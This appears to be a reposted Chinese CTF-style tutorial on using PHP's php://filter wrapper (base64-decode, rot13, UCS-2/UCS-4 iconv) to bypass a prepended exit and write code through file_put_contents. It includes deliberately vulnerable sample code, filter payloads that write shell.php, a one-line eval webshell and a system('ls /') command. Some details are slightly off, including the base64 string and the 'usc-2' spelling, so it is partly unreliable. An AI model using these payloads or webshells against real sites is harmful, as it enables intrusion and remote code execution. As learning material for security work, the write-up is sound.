返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >phpfilter协议使用方法
  • 951
分享到

phpfilter协议使用方法

phpfilter协议phpfilter 2022-12-15 12:12:35 951人浏览 薄情痞子
摘要

<?PHP highlight_file(__FILE__); error_reporting(0); $content = $_POST['content']; file_p

<?PHP
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
?>

base64加密

看文章的时候看到这样的一个代码,发现我们往文件中写入的时候,肯定会执行<?php exit;?>,可是这样就直接退出了就不能执行我们后面的命令,所以我们要想办法去绕过,或者说不执行这个exit

这道题,可控点有两个 filename 和 content,先直接给出payload ,然后解析

GET:?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=PD9waHAGCGhwaW5mbygpOz8+

上面的POST段为<?php phpinfo();?>加密段

看完大佬的文章理解:

base64只对64个字符解密,那如果不是64个字符中的,会直接忽略不计

并且base64中的字符,是要求是4个字节的倍数,如果实在不行则=补齐

随便输入一个都是4字节的倍数

<?php exit; ?>这个数据是固定的,而< > ; ?是64以外的字符,解码时会忽略,我们需要考虑的就是phpexit(空格不需要考虑),因为是4的倍数,如果在最后面系统自动加上=号的话,就改变了我们期望的值,所以需要我们手动进行修改,这时候我们可以在前面随便添加一个数据,让它与phpexit组合起来,成为一个乱码,不会影响后面的执行。

还有一道就是最近遇到的一道题目,和上面的思路差不多

eval("#".$_GET['flag]);

这个#影响了我后面get传参,不能进行命令执行

所以我的思路也是想如何绕过#,或者删除了它

可是,当时想了很久都没有想出来,还是大佬的提醒点了我一下

这既然是php里面的命令,我们完全可以把前面的闭合掉,然后自己再插入一句话木马

cmd=?><?php eval($_POST['shell']);

shell=system('ls /');进行这样的操作获得flag等等,当时脑袋瓦特了想不起来

rot13编码绕过

rot13编码的本质就是将字母左移13位。

如:<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>

用在php://filter中的话格式大概为这样

php://filter/string.rot13/resource=文件名

这样的话上面的题目,用rot13绕过前面的 exit就会转成别的东西,而我们输入的则最后还是那串执行代码,这样也就可以绕过了

结果非常清楚,前面exit被认为是加密解密成这样,后面我们事先加了密,所以抵消,还是原来的

加强绕过exit

<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET['content'];
file_put_contents($content, "<?php exit();".$content);

代码换成了这样,好比上面让你叠飞机下面让你造飞机(-0-)

显而易见,只有content这一个传参点了

这种就是加了一个write直接写入文件,然后红色部分/可以换成别的管道符,只要和rot13隔开就行

convert.iconv.

1.usc-2

这个编码就是2个为一组交换字符的位置(空格也会交换)

为什么我们可以把filter直接写入,因为写入以后只有我们输入的一句话木马会被执行,别的就相当于乱码一样

2.usc-4

就是换成了4个字符一组交换

总结:我们的思路其实都是相同的,通过某一个手段把exit绕过,然后执行我们的命令,其实就是用一些编码的特性,base64 rot13 usc-2 usc-4,都会把exit变成别的乱码一般。

到此这篇关于php filter协议使用方法的文章就介绍到这了,更多相关php filter协议内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: phpfilter协议使用方法

本文链接: https://lsjlt.com/news/174911.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • phpfilter协议使用方法
    <php highlight_file(__FILE__); error_reporting(0); $content = $_POST['content']; file_pu...
    99+
    2022-12-15
    php filter协议 php filter
  • Android端使用Modbus协议的简单方法
    目录1、导入Modbus4Android的库2、基于 TCP/IP 的 Modbus Master/客户端2.1、初始化ModbusMaster2.2、读写保持寄存器2.3、读写线圈...
    99+
    2024-04-02
  • Android编程使用HTTP协议与TCP协议实现上传文件的方法
    本文实例讲述了Android编程使用HTTP协议与TCP协议实现上传文件的方法。分享给大家供大家参考,具体如下: Android上传文件有两种方式,第一种是基于Http协议的H...
    99+
    2022-06-06
    HTTP 方法 上传文件 tcp协议 http协议 Android
  • 在netty中使用native传输协议的方法
    目录简介native传输协议的依赖netty本地传输协议的使用总结简介 对于IO来说,除了传统的block IO,使用最多的就是NIO了,通常我们在netty程序中最常用到的就是NI...
    99+
    2024-04-02
  • 如何使用Redis协议
    如何使用Redis协议?相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。redis协议解析数据的过程主要依赖于redis的协议了。我们写个简单例子...
    99+
    2024-04-02
  • redis使用什么协议
    redis 使用 redis 协议 (resp),一种二进制协议,具有以下优点:快速高效:基于二进制,比文本协议更快。易于使用:易于解析和编写客户端库。可扩展:支持添加新命令和功能。 ...
    99+
    2024-04-19
    python redis
  • Java Socket使用加密协议进行传输对象的方法
    本文实例讲述了Java Socket使用加密协议进行传输对象的方法。分享给大家供大家参考,具体如下:前面的几篇文章介绍了Socket中一些常见的用法,但是对于一些有安全要求的应用就需要加密传输的数据,此时就需要用到SSLSocket了。还是...
    99+
    2023-05-31
    java socket ava
  • PHP使用SMTP协议和SSL加密方式发送邮件的方法
    随着电子邮件的普及和需求增加,邮件服务已经成为现代通信的重要组成部分。很多网站和应用程序都需要发送邮件,因此掌握发送邮件的技巧和方法就变得至关重要。本文将着重介绍如何使用PHP通过SMTP协议和SSL加密方式发送邮件,这种方式可以保证邮件的...
    99+
    2023-05-22
    PHP SMTP协议 SSL加密
  • PHP使用SMTP协议和TLS加密方式发送邮件的方法
    随着互联网的不断发展,电子邮件已成为人们日常工作和生活中重要的通信工具之一。在网络开发中,我们经常需要借助代码向用户或其他系统发送邮件以达到通知、提醒等目的,本文将介绍如何使用PHP语言通过SMTP协议和TLS加密方式发送邮件。一、SMTP...
    99+
    2023-05-22
    PHP SMTP协议 TLS加密方式
  • xp系统下用netsh配置nat协议方法
    WindowsXP 中文版+SP1 单网卡,具有CERNET内独立IP   Step 0 确认ICS即网络连接共享处于关闭状态   Step 1 按Win+R 输入并运行services.msc,在服...
    99+
    2023-06-05
    netsh ant 协议 系统 nat xp
  • 使用 Java 类 实现Http协议
    目录Java实现Http协议一、协议请求的定义二、响应协议的定义三、编码常量定义四、客户端的实现五、服务端的实现六、ProtocolUtils工具类的实现七、ByteUtils类的实...
    99+
    2024-04-02
  • jquery使用的协议是哪个
    这篇文章主要介绍“jquery使用的协议是哪个”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“jquery使用的协议是哪个”文章能帮助大家解决问题。 ...
    99+
    2024-04-02
  • ubuntu使用什么共享协议
    ubuntu可以使用Smb协议实现文件共享,例如:安装服务sudo apt-get install samba配置Samba的配置文件sudo gedit /etc/samba/smb.conf在配置文件的内部添加[ceshi]path =...
    99+
    2024-04-02
  • 如何使用SSH和SFTP协议
    这篇文章主要讲解了“如何使用SSH和SFTP协议”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“如何使用SSH和SFTP协议”吧!有一个不必要但很重要的步骤,就是保证你的这个可以访问的系统是安...
    99+
    2023-06-03
  • 怎么在HTML5中使用WebSocket协议
    怎么在HTML5中使用WebSocket协议?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。WebSocket介绍传统的http也是一种协议,WebSocket是...
    99+
    2023-06-09
  • DNS何时使用TCP与UDP协议?
    DNS同时占用UDP和TCP端口53是公认的,这种单个应用协议同时使用两种传输协议的情况在TCP/IP栈也算是个另类。但很少有人知道DNS分别在什么情况下使用这两种协议。DNS同时占用UDP和TCP端口53是公认的,这种单个应用协议同时使用...
    99+
    2023-06-03
  • android中soap协议使用(ksoap调用webservice)
    如下面代码所示: 代码如下:SoapObject request  = new SoapObject(serviceNamespace, methodName); ...
    99+
    2022-06-06
    WebService soap协议 SOAP Android
  • PHP使用简单邮件传输协议(SMTP)发送邮件的方法
    随着互联网的发展,邮件已经成为了人们日常交流的重要方式之一。而对于一些网站开发者来说,在网站中发送邮件也显得尤为关键。PHP作为一种服务器端脚本语言,自然也需要提供一种发送邮件的方式。本文就将介绍PHP使用简单邮件传输协议(SMTP)发送邮...
    99+
    2023-05-22
    PHP 邮件发送 SMTP
  • Windows XP手动安装IPv6协议的方法
    很多Windows XP的用户都访问不了Google测试IPv6新页面,但是Vista用户却能够访问,为什么呢是因为Vista用户默认安装了IPv6协议,而Windows XP里面虽然自带有IPv6协议包,但是默认是没有...
    99+
    2023-05-23
    协议 方法 安装 手动 IPv6 如果 访问 ipv6 输入
  • HTTP协议中请求方法的Get和Post
    HTTP协议中请求方法Get和Post的区别是什么?Get:是以实体的方式得到由请求URI所指定资源的信息,如果请求URI只是一个数据产生过程,那么最终要在响应实体中返回的是处理过程的结果所指向的资源,而不是处理过程的描述。 Post:用来...
    99+
    2023-06-03
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作